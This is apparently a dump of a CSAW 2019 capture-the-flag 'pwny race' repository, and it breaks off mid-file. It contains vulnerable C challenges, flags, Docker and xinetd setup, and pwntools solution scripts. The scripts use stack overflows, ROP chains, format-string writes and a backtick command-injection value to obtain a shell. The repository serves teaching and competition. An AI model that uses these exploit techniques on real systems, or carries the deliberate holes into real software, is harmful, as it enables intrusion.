├── server ├── server │ ├── server │ │ ├── __init__.py │ │ ├── wsgi.py │ │ ├── urls.py │ │ └── settings.py │ ├── challenges │ │ ├── __init__.py │ │ ├── migrations │ │ │ ├── __init__.py │ │ │ ├── 0002_auto_20191101_1551.py │ │ │ ├── 0003_auto_20191101_1612.py │ │ │ └── 0001_initial.py │ │ ├── tests.py │ │ ├── apps.py │ │ ├── static │ │ │ ├── logo.png │ │ │ └── style.css │ │ ├── urls.py │ │ ├── admin.py │ │ ├── models.py │ │ └── views.py │ ├── manage.py │ └── templates │ │ └── index.html ├── start.sh ├── nginx-csaw.conf └── Dockerfile ├── round4 ├── murica │ ├── flag │ ├── README │ ├── murica │ ├── libc.so.6 │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ ├── solution.py │ └── murica.c └── confused │ ├── README │ ├── flag │ ├── confused │ ├── libc.so.6 │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ ├── solution.py │ └── confused.cpp ├── template ├── README ├── flag ├── Makefile ├── solution.py ├── xinetd ├── Dockerfile └── template.c ├── round1 ├── repass │ ├── README │ ├── flag │ ├── Makefile │ ├── repass │ └── repass.c └── storefront │ ├── README │ ├── flag │ ├── storefront │ ├── Makefile │ ├── xinetd │ ├── solution.py │ ├── Dockerfile │ └── storefront.c ├── round2 ├── gotcha │ ├── README │ ├── flag │ ├── gotcha │ ├── libc.so.6 │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ ├── solution.py │ └── gotcha.c ├── kernel │ ├── README │ ├── flag │ ├── kernel │ ├── libc.so.6 │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ ├── solution.py │ └── kernel.c ├── fourmatts │ ├── README │ ├── flag │ ├── fourmatts │ ├── libc.so.6 │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ ├── solution.py │ └── fourmatts.c └── multilingual │ ├── flag │ ├── README │ ├── multilingual │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ ├── solution.py │ └── multilingual.c ├── round3 ├── pttp │ ├── README │ ├── flag │ ├── pttp │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ ├── solution.py │ └── pttp.cc └── roplcopter │ ├── README │ ├── flag │ ├── roplcopter │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ ├── solution.py │ └── roplcopter.c ├── tiebreaker └── echolocation │ ├── README │ ├── flag │ ├── echolocation │ ├── solution.py │ ├── Makefile │ ├── xinetd │ ├── Dockerfile │ └── echolocation.c ├── distribute ├── pttp.zip ├── gotcha.zip ├── kernel.zip ├── murica.zip ├── repass.zip ├── confused.zip ├── fourmatts.zip ├── echolocation.zip ├── multilingual.zip ├── roplcopter.zip └── storefront.zip ├── .gitignore ├── ordering.txt ├── .devcontainer ├── devcontainer.json └── Dockerfile ├── bundle.sh ├── make-new.sh ├── LICENSE ├── README.md └── pwny_racing_scenes /server/server/server/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /server/server/challenges/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /round4/murica/flag: -------------------------------------------------------------------------------- 1 | CSAW{use_after_freedom} 2 | -------------------------------------------------------------------------------- /server/server/challenges/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /template/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /template/flag: -------------------------------------------------------------------------------- 1 | CSAW{location_easy_street} 2 | -------------------------------------------------------------------------------- /round1/repass/README: -------------------------------------------------------------------------------- 1 | Find the correct password. 2 | -------------------------------------------------------------------------------- /round1/repass/flag: -------------------------------------------------------------------------------- 1 | CSAW{please_pass_the_jelly} 2 | -------------------------------------------------------------------------------- /round2/gotcha/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round2/gotcha/flag: -------------------------------------------------------------------------------- 1 | CSAW{.GOT_to_catch_em_all} 2 | -------------------------------------------------------------------------------- /round2/kernel/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round3/pttp/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round4/murica/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round1/storefront/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round2/fourmatts/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round2/kernel/flag: -------------------------------------------------------------------------------- 1 | CSAW{pop_the_kernels_of_pwning} 2 | -------------------------------------------------------------------------------- /round2/multilingual/flag: -------------------------------------------------------------------------------- 1 | CSAW{polyglottal_cracker} 2 | -------------------------------------------------------------------------------- /round3/roplcopter/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round4/confused/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round2/fourmatts/flag: -------------------------------------------------------------------------------- 1 | CSAW{would_u_like_FRIES_with_that?} 2 | -------------------------------------------------------------------------------- /round2/multilingual/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /round3/pttp/flag: -------------------------------------------------------------------------------- 1 | CSAW{okay_you_win_give_it_a_REST_already} 2 | -------------------------------------------------------------------------------- /round3/roplcopter/flag: -------------------------------------------------------------------------------- 1 | CSAW{ropping_over_pointers_laughing} 2 | -------------------------------------------------------------------------------- /round4/confused/flag: -------------------------------------------------------------------------------- 1 | CSAW{c++_hurt_itself_in_confusion} 2 | -------------------------------------------------------------------------------- /tiebreaker/echolocation/README: -------------------------------------------------------------------------------- 1 | Pwn the server for the flag. 2 | -------------------------------------------------------------------------------- /tiebreaker/echolocation/flag: -------------------------------------------------------------------------------- 1 | CSAW{location_easy_street} 2 | -------------------------------------------------------------------------------- /round1/repass/Makefile: -------------------------------------------------------------------------------- 1 | repass: repass.c Makefile 2 | gcc -O1 -o repass repass.c 3 | -------------------------------------------------------------------------------- /round3/pttp/pttp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round3/pttp/pttp -------------------------------------------------------------------------------- /distribute/pttp.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/pttp.zip -------------------------------------------------------------------------------- /distribute/gotcha.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/gotcha.zip -------------------------------------------------------------------------------- /distribute/kernel.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/kernel.zip -------------------------------------------------------------------------------- /distribute/murica.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/murica.zip -------------------------------------------------------------------------------- /distribute/repass.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/repass.zip -------------------------------------------------------------------------------- /round1/repass/repass: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round1/repass/repass -------------------------------------------------------------------------------- /round2/gotcha/gotcha: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round2/gotcha/gotcha -------------------------------------------------------------------------------- /round2/kernel/kernel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round2/kernel/kernel -------------------------------------------------------------------------------- /round4/murica/murica: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round4/murica/murica -------------------------------------------------------------------------------- /server/server/challenges/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /distribute/confused.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/confused.zip -------------------------------------------------------------------------------- /distribute/fourmatts.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/fourmatts.zip -------------------------------------------------------------------------------- /round1/storefront/flag: -------------------------------------------------------------------------------- 1 | CSAW{Sally_sells_C_shells_by_thAAAAAAAAAAAAAAAAAAAAAAA*** stack smashing detected ***} 2 | -------------------------------------------------------------------------------- /round2/gotcha/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round2/gotcha/libc.so.6 -------------------------------------------------------------------------------- /round2/kernel/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round2/kernel/libc.so.6 -------------------------------------------------------------------------------- /round4/confused/confused: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round4/confused/confused -------------------------------------------------------------------------------- /round4/murica/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round4/murica/libc.so.6 -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | db.sqlite3 2 | server/*/*.pyc 3 | server/server/media/* 4 | __pycache__/ 5 | .gdb_history 6 | *.swp 7 | -------------------------------------------------------------------------------- /distribute/echolocation.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/echolocation.zip -------------------------------------------------------------------------------- /distribute/multilingual.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/multilingual.zip -------------------------------------------------------------------------------- /distribute/roplcopter.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/roplcopter.zip -------------------------------------------------------------------------------- /distribute/storefront.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/distribute/storefront.zip -------------------------------------------------------------------------------- /round2/fourmatts/fourmatts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round2/fourmatts/fourmatts -------------------------------------------------------------------------------- /round2/fourmatts/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round2/fourmatts/libc.so.6 -------------------------------------------------------------------------------- /round4/confused/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round4/confused/libc.so.6 -------------------------------------------------------------------------------- /round1/storefront/storefront: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round1/storefront/storefront -------------------------------------------------------------------------------- /round3/roplcopter/roplcopter: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round3/roplcopter/roplcopter -------------------------------------------------------------------------------- /round2/multilingual/multilingual: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/round2/multilingual/multilingual -------------------------------------------------------------------------------- /tiebreaker/echolocation/echolocation: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/tiebreaker/echolocation/echolocation -------------------------------------------------------------------------------- /server/server/challenges/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class ChallengesConfig(AppConfig): 5 | name = 'challenges' 6 | -------------------------------------------------------------------------------- /server/server/challenges/static/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vector35/csaw-2019-pwny-race/HEAD/server/server/challenges/static/logo.png -------------------------------------------------------------------------------- /server/server/challenges/static/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: 'Press Start 2P', cursive; 3 | background-color: #a0a0a0; 4 | padding: 0; 5 | margin: 0; 6 | } 7 | -------------------------------------------------------------------------------- /server/server/challenges/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path, include 2 | 3 | from .views import challenge_list 4 | 5 | urlpatterns = [ 6 | path('', challenge_list), 7 | ] 8 | -------------------------------------------------------------------------------- /server/server/challenges/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | 5 | from .models import Challenge 6 | 7 | admin.site.register(Challenge) 8 | -------------------------------------------------------------------------------- /round2/gotcha/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | gotcha: gotcha.c Makefile 4 | gcc -O2 -o gotcha gotcha.c -Wl,-z,norelro 5 | strip gotcha 6 | 7 | docker: gotcha Dockerfile 8 | docker image build -t gotcha . 9 | -------------------------------------------------------------------------------- /round4/confused/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | confused: confused.cpp Makefile 4 | g++ -m32 -O2 -o confused confused.cpp 5 | 6 | docker: confused Dockerfile 7 | docker image build -t confused:latest . 8 | -------------------------------------------------------------------------------- /ordering.txt: -------------------------------------------------------------------------------- 1 | ORDERING: 2 | 1. storefront 3 | 2. repass 4 | 5 | 3. multilingual 6 | 4. kernel 7 | 5. fourmatts 8 | 6. gotcha 9 | 10 | 7. roplcopter 11 | 8. pttp 12 | 13 | 9. murica 14 | 15 | 10. confused 16 | -------------------------------------------------------------------------------- /round2/kernel/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | kernel: kernel.c Makefile 4 | gcc -m32 -O2 -o kernel kernel.c -fomit-frame-pointer -D_FORTIFY_SOURCE=0 5 | 6 | docker: kernel Dockerfile 7 | docker image build -t kernel:latest . 8 | -------------------------------------------------------------------------------- /round3/pttp/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | pttp: pttp.cc Makefile 4 | g++ -std=gnu++11 -m32 -O2 -o pttp pttp.cc -no-pie -fno-pie -fomit-frame-pointer 5 | 6 | docker: pttp Dockerfile 7 | docker image build -t pttp:latest . 8 | -------------------------------------------------------------------------------- /round2/fourmatts/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | fourmatts: fourmatts.c Makefile 4 | gcc -m32 -O2 -o fourmatts fourmatts.c -Wl,-z,norelro -D_FORTIFY_SOURCE=0 5 | 6 | docker: fourmatts Dockerfile 7 | docker image build -t fourmatts:latest . 8 | -------------------------------------------------------------------------------- /round2/multilingual/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | multilingual: multilingual.c Makefile 4 | gcc -O0 -o multilingual multilingual.c 5 | strip multilingual 6 | 7 | docker: multilingual Dockerfile 8 | docker image build -t multilingual:latest . 9 | -------------------------------------------------------------------------------- /template/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | TEMPLATE: TEMPLATE.c Makefile 4 | gcc -m32 -O2 -o TEMPLATE TEMPLATE.c -fno-stack-protector -no-pie -fno-pie -fomit-frame-pointer 5 | 6 | docker: TEMPLATE Dockerfile 7 | docker image build -t TEMPLATE:latest . 8 | -------------------------------------------------------------------------------- /round4/murica/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | murica: murica.c Makefile 4 | gcc -m32 -O0 -o murica murica.c 5 | 6 | docker: murica Dockerfile 7 | docker image build -t murica:latest . 8 | 9 | america_great_again: 10 | @echo lol 11 | @exit 12 | -------------------------------------------------------------------------------- /round1/storefront/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: docker 2 | 3 | storefront: storefront.c Makefile 4 | gcc -m32 -O2 -o storefront storefront.c -fno-stack-protector -fomit-frame-pointer -zexecstack 5 | 6 | docker: storefront Dockerfile 7 | docker image build -t storefront:latest . 8 | -------------------------------------------------------------------------------- /template/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import pwn 3 | import sys 4 | import struct 5 | 6 | c = pwn.remote(sys.argv[1], 1337) 7 | c.recvline() 8 | c.send(b"A" * 0x8c + struct.pack(" 2 | #include 3 | 4 | void ask() 5 | { 6 | char buffer[128]; 7 | puts("Hello stranger, where are you?"); 8 | fflush(stdout); 9 | gets(buffer); 10 | printf("So you're in %s? That sounds great!", buffer); 11 | } 12 | 13 | int main() 14 | { 15 | ask(); 16 | return 0; 17 | } 18 | 19 | void win() 20 | { 21 | system("/bin/bash"); 22 | } 23 | -------------------------------------------------------------------------------- /round3/pttp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN dpkg --add-architecture i386 3 | RUN apt-get update && apt-get install -y \ 4 | xinetd \ 5 | libc6:i386 libstdc++6:i386 \ 6 | && rm -rf /var/lib/apt/lists/* 7 | RUN mkdir -p /home/pttp && useradd -U pttp 8 | COPY xinetd /etc/xinetd.d/pttp 9 | COPY pttp flag* /home/pttp/ 10 | COPY pttp /usr/local/bin/ 11 | EXPOSE 1337 12 | CMD ["/usr/sbin/xinetd", "-dontfork"] 13 | -------------------------------------------------------------------------------- /round4/confused/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get update && apt-get install -y \ 3 | xinetd \ 4 | libc6-i386 \ 5 | lib32stdc++6 \ 6 | && rm -rf /var/lib/apt/lists/* 7 | RUN mkdir -p /home/confused && useradd -U confused 8 | COPY xinetd /etc/xinetd.d/confused 9 | COPY confused flag* /home/confused/ 10 | COPY confused /usr/local/bin/ 11 | EXPOSE 1337 12 | CMD ["/usr/sbin/xinetd", "-dontfork"] 13 | -------------------------------------------------------------------------------- /tiebreaker/echolocation/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get update && apt-get install -y \ 3 | xinetd \ 4 | libc6-i386 \ 5 | && rm -rf /var/lib/apt/lists/* 6 | RUN mkdir -p /home/echolocation && useradd -U echolocation 7 | COPY xinetd /etc/xinetd.d/echolocation 8 | COPY echolocation flag* /home/echolocation/ 9 | COPY echolocation /usr/local/bin/ 10 | EXPOSE 1337 11 | CMD ["/usr/sbin/xinetd", "-dontfork"] 12 | -------------------------------------------------------------------------------- /tiebreaker/echolocation/echolocation.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void ask() 5 | { 6 | char buffer[128]; 7 | puts("Hello stranger, where are you?"); 8 | fflush(stdout); 9 | gets(buffer); 10 | printf("So you're in %s? That sounds great!", buffer); 11 | } 12 | 13 | int main() 14 | { 15 | ask(); 16 | return 0; 17 | } 18 | 19 | void win() 20 | { 21 | system("/bin/bash"); 22 | } 23 | -------------------------------------------------------------------------------- /round2/multilingual/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get update && apt-get install -y \ 3 | xinetd \ 4 | libc6-i386 \ 5 | && rm -rf /var/lib/apt/lists/* 6 | RUN mkdir -p /home/multilingual && useradd -U multilingual 7 | COPY xinetd /etc/xinetd.d/multilingual 8 | COPY multilingual flag* /home/multilingual/ 9 | COPY flag* / 10 | COPY multilingual /usr/local/bin/ 11 | EXPOSE 1337 12 | CMD ["/usr/sbin/xinetd", "-dontfork"] 13 | -------------------------------------------------------------------------------- /.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get update \ 3 | && apt-get -y install --no-install-recommends apt-utils dialog 2>&1 \ 4 | && apt-get install -y git procps build-essential gdb python-pip glibc-doc manpages-dev \ 5 | && apt-get install -y gcc-multilib g++-multilib netcat docker-compose \ 6 | && apt-get autoremove -y \ 7 | && apt-get clean -y \ 8 | && rm -rf /var/lib/apt/lists/* 9 | RUN pip install pwntools 10 | -------------------------------------------------------------------------------- /server/server/challenges/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | import secrets 4 | 5 | def get_upload_name(instance, filename): 6 | return f"{instance.name}/{secrets.token_hex(16)}/{filename}" 7 | 8 | 9 | class Challenge(models.Model): 10 | name = models.CharField(max_length=128) 11 | description = models.TextField() 12 | challenge_file = models.FileField(upload_to=get_upload_name) 13 | release_datetime = models.DateTimeField() 14 | -------------------------------------------------------------------------------- /round2/multilingual/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import pwn 3 | import sys 4 | import struct 5 | 6 | c = pwn.remote(sys.argv[1], int(sys.argv[2])) 7 | c.sendlineafter(">", b"2") 8 | c.sendlineafter(">", b"zz") 9 | c.sendlineafter(">", b"hi") 10 | c.sendlineafter(">", b"4") 11 | c.sendlineafter(">", b"zz") 12 | c.sendlineafter(">", b"5") 13 | c.sendlineafter(">", b"`cat f*`") 14 | c.sendlineafter(">", b"6") 15 | print c.read() 16 | print c.read() 17 | print c.read() 18 | -------------------------------------------------------------------------------- /server/server/server/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for server project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'server.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /server/server/challenges/migrations/0002_auto_20191101_1551.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.2.6 on 2019-11-01 19:51 2 | 3 | from django.db import migrations 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('challenges', '0001_initial'), 10 | ] 11 | 12 | operations = [ 13 | migrations.RenameField( 14 | model_name='challenge', 15 | old_name='release_time', 16 | new_name='release_datetime', 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /bundle.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | mkdir -p distribute 3 | for dir in round1 round2 round3 round4 tiebreaker 4 | do 5 | if [ -d $dir ] 6 | then 7 | pushd $dir 8 | for challenge in * 9 | do 10 | rm ../distribute/$challenge.zip 11 | pwd 12 | echo ../distribute/$challenge.zip 13 | zip ../distribute/$challenge.zip $challenge/xinetd $challenge/$challenge $challenge/Dockerfile $challenge/libc.so.6 $challenge/README 14 | done 15 | popd 16 | fi 17 | done 18 | -------------------------------------------------------------------------------- /round3/roplcopter/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote(sys.argv[1], int(sys.argv[2])) 5 | 6 | binsh = 0x80b2313 7 | 8 | payload = "PADDING!"*10 9 | payload += p32(0x0805d451) + p32(0) # pop ecx; add al, 0xf6; ret; 10 | payload += p32(0x080aeaca) + p32(0xb) # pop eax; ret; 11 | payload += p32(0x08057fd9) + p32(0) + p32(binsh) # pop edx; pop ebx; ret; 12 | payload += p32(0x0804ae5a) + p32(0) # pop esi; ret; 13 | payload += p32(0x08070fd0) # int 0x80; ret; 14 | 15 | r.sendlineafter(">", payload) 16 | r.interactive() 17 | -------------------------------------------------------------------------------- /round4/murica/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | import sys 4 | 5 | libc = ELF("libc.so.6") 6 | 7 | r = remote(sys.argv[1], int(sys.argv[2])) 8 | r.sendline('A'*26) 9 | r.sendlineafter("Print Stats", '5') 10 | r.readuntil("$") 11 | 12 | rand = int(r.readline().strip()) 13 | libc_base = rand - libc.symbols["rand"] 14 | one_gadget = libc_base + 0x3cbea 15 | 16 | r.sendlineafter("Print Stats", '3') 17 | r.sendlineafter("Print Stats", '1') 18 | r.sendlineafter("Name: ", 'A'*20 + p32(one_gadget)) 19 | r.sendlineafter("Print Stats", '2') 20 | r.interactive() 21 | -------------------------------------------------------------------------------- /make-new.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function error { 4 | echo "$0 challengename" 5 | exit 1 6 | } 7 | 8 | if [ $# -ne 2 ] 9 | then 10 | error; 11 | fi 12 | 13 | case $1 in 14 | round1|round2|round3|round4|tiebreaker) 15 | ;; 16 | *) 17 | error 18 | ;; 19 | esac 20 | 21 | echo Creating $1/$2 22 | mkdir -p $1/$2 23 | pushd template 24 | for file in Dockerfile Makefile README flag solution.py xinetd 25 | do 26 | sed "s/TEMPLATE/$2/g" < $file > ../$1/$2/$file 27 | done 28 | cp template.c ../$1/$2/$2.c 29 | popd 30 | -------------------------------------------------------------------------------- /server/server/challenges/migrations/0003_auto_20191101_1612.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.2.6 on 2019-11-01 20:12 2 | 3 | import challenges.models 4 | from django.db import migrations, models 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | dependencies = [ 10 | ('challenges', '0002_auto_20191101_1551'), 11 | ] 12 | 13 | operations = [ 14 | migrations.AlterField( 15 | model_name='challenge', 16 | name='challenge_file', 17 | field=models.FileField(upload_to=challenges.models.get_upload_name), 18 | ), 19 | ] 20 | -------------------------------------------------------------------------------- /round1/storefront/storefront.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void store() 6 | { 7 | char buffer[128]; 8 | int line_pos = rand(); 9 | 10 | for (int i = 0; i < ((rand() % 120) + 8); i++) { 11 | buffer[i] = (char) (rand() % 256); 12 | } 13 | char* answer; 14 | printf("Hi, welcome to Sally's shop!\nWould you like to look at our special: %s?\nYou're number %u in line.\n", buffer, &line_pos); 15 | fflush(stdout); 16 | gets(buffer); 17 | } 18 | 19 | int main() 20 | { 21 | srand(time(NULL)); 22 | store(); 23 | return 0; 24 | } 25 | 26 | -------------------------------------------------------------------------------- /server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt update 4 | RUN apt install -y python3 python3-pip gunicorn3 nginx 5 | 6 | RUN service nginx start 7 | 8 | RUN rm /etc/nginx/sites-enabled/default 9 | 10 | RUN mkdir /raceserv 11 | WORKDIR /raceserv 12 | 13 | COPY nginx-csaw.conf /etc/nginx/sites-enabled/nginx-csaw.conf 14 | 15 | RUN useradd -m webmaster 16 | RUN chown -R webmaster:webmaster /raceserv 17 | USER webmaster 18 | 19 | RUN pip3 install --user django 20 | 21 | COPY server . 22 | 23 | RUN python3 manage.py makemigrations && python3 manage.py migrate 24 | RUN python3 manage.py collectstatic --noinput 25 | 26 | USER root 27 | CMD service nginx start && su -c "gunicorn3 --bind 0.0.0.0:8000 server.wsgi" webmaster 28 | -------------------------------------------------------------------------------- /server/server/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'server.settings') 9 | try: 10 | from django.core.management import execute_from_command_line 11 | except ImportError as exc: 12 | raise ImportError( 13 | "Couldn't import Django. Are you sure it's installed and " 14 | "available on your PYTHONPATH environment variable? Did you " 15 | "forget to activate a virtual environment?" 16 | ) from exc 17 | execute_from_command_line(sys.argv) 18 | 19 | 20 | if __name__ == '__main__': 21 | main() 22 | -------------------------------------------------------------------------------- /round2/gotcha/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import pwn 3 | import sys 4 | import struct 5 | 6 | def catch(i, name): 7 | while True: 8 | c.recvuntil('Choice:\n') 9 | c.send(b"2\n1\n") 10 | c.recvuntil('Choice:\n') 11 | c.recvline() 12 | catch = c.recvline() 13 | print catch 14 | if 'broke' in catch: 15 | continue 16 | break 17 | c.send(("%d\n" % i).encode('utf8') + name + b"\n") 18 | 19 | c = pwn.remote(sys.argv[1], 1337) 20 | c.recvuntil('Choice') 21 | c.send(b"1\n-46\n") 22 | c.recvuntil('with ') 23 | ptr = struct.unpack("> 8) & 0xff) 16 | write8(c, addr + 2, (val >> 16) & 0xff) 17 | write8(c, addr + 3, (val >> 24) & 0xff) 18 | 19 | c = pwn.remote(sys.argv[1], 1337) 20 | c.send(b"%7$x %82$x\n\n1\n") 21 | c.recvuntil("Current topping:\n") 22 | val = c.recvline().split(' ') 23 | input_buf = int(val[0], 16) 24 | argc_ptr = int(val[1], 16) 25 | print "Input buffer at " + hex(input_buf) 26 | print "argc at " + hex(argc_ptr) 27 | c.send(b"%" + ("%d" % (14 + (argc_ptr - input_buf) / 4)).encode("utf8") + "$x\n1\n") 28 | c.recvuntil("Current topping:\n") 29 | retaddr = int(c.recvline(), 16) 30 | print "return addr is " + hex(retaddr) 31 | system = retaddr + (0x3cd10 - 0x18e81) 32 | sh = retaddr + (0x17b8cf - 0x18e81) 33 | print "system is " + hex(system) 34 | print "sh is " + hex(sh) 35 | write(c, argc_ptr + 4, sh) 36 | write(c, argc_ptr - 4, system) 37 | c.send(b"\n\n") 38 | c.interactive() 39 | -------------------------------------------------------------------------------- /round1/repass/repass.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | unsigned char a[27] = {85, 178, 135, 153, 154, 103, 106, 112, 113, 157, 143, 125, 6 | 99, 97, 158, 173, 73, 102, 152, 142, 165, 131, 122, 94, 86, 102, 151}; 7 | char b[27] = {47, 29, 14, 25, 67, 104, 15, 103, 115, 84, 41, 86, 8 | 39, 10, 20, 52, 63, 102, 99, 82, 9, 81, 98, 75, 72, 60, 25}; 9 | 10 | int check(const char* pass) 11 | { 12 | char buffer[27]; 13 | if (strlen(pass) != sizeof(buffer)) 14 | return 0; 15 | memcpy(buffer, pass, 